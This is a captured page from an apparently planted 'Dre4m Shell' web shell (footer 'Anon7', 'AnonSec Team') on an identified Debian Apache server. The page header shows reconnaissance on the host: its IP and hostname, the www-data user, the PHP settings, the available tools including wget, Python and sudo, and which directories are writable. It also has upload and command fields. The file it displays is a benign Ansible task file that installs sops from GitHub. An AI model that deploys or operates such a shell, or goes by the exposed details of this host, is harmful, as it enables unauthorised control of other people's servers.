Dre4m Shell
Server IP : 85.214.239.14  /  Your IP : 18.191.171.26
Web Server : Apache/2.4.62 (Debian)
System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.18
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/ansible_collections/community/sops/roles/install/tasks/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /lib/python3/dist-packages/ansible_collections/community/sops/roles/install/tasks/github.yml
---
# GNU General Public License v3.0+ (see LICENSES/GPL-3.0-or-later.txt or https://www.gnu.org/licenses/gpl-3.0.txt)
# SPDX-License-Identifier: GPL-3.0-or-later
# SPDX-FileCopyrightText: 2022, Felix Fontein

- name: Make sure that sops can be installed from GitHub
  ansible.builtin.fail:
    msg: >-
      Sops cannot be installed from GitHub for
      {{ _community_sops_install_facts.distribution }} {{ _community_sops_install_facts.distribution_version }}.
  when: not _community_sops_install_system_has_github

- name: Start determining sops version
  ansible.builtin.set_fact:
    _community_sops_install_effective_sops_version: '{{ "" if sops_version == "latest" else sops_version }}'

# This method uses the GitHub API, which is rate-limited.
- name: Determine latest version (fallback)
  when:
    - _community_sops_install_effective_sops_version == ''
    - sops_github_latest_detection in ['auto', 'api']
  ansible.builtin.include_tasks: github_api.yml

# This method asks GitHub for the latest release, which depends on the release to be
# correctly marked as "latest" in the GitHub UI. Fortunately this is not as aggressively
# rate-limited as the API (used in the fallback).
- name: Determine latest version
  when:
    - _community_sops_install_effective_sops_version == ''
    - sops_github_latest_detection in ['auto', 'latest-release']
  ansible.builtin.include_tasks: github_latest_release.yml

- name: Fail when latest version could not be selected
  ansible.builtin.fail:
    msg: Could not determine the latest GitHub release
  when: _community_sops_install_effective_sops_version == ''

- name: Show selected version
  ansible.builtin.debug:
    msg: The latest sops version is sops {{ _community_sops_install_effective_sops_version }}.
  when: sops_version == 'latest'

- name: Set variables
  ansible.builtin.set_fact:
    _community_sops_install_system_packages_actual: >-
      {{ _community_sops_install_system_packages + _community_sops_install_system_packages_github }}
    _community_sops_install_system_packages_unsigned_actual: >-
      {{ _community_sops_install_system_packages_unsigned + _community_sops_install_system_packages_unsigned_github }}
    _community_sops_install_system_package_deb_actual: >-
      {{ _community_sops_install_system_package_deb_github }}

Anon7 - 2022
AnonSec Team